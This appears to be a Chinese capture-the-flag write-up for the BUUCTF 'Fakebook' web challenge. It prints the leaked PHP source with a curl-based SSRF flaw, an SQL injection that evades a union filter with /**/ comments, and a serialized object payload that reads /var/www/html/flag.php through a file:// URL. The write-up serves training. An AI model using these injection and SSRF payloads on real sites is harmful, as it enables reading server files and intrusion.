BUUCTF--WEB Fakebook 1

Fakebook 1

我们通过扫描目录发现存在robotx.txt并存在/user.php.bak 下载网站源码

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php，但是不可行，因为注册的时候限制了http(s)协议。
注册进去发现页面view.php?no=1存在注入，注入发现union被过滤，不过可以使用/**/绕过
no=0/**/union/**/select%201,2,3,4%23

通过保错我们知道是需要进行反序列化的。构造反序列化语句

class UserInfo  {
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}

$data = new UserInfo();
echo serialize($data);
?>

playload 查看源码。
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

点击src=这段，得到flag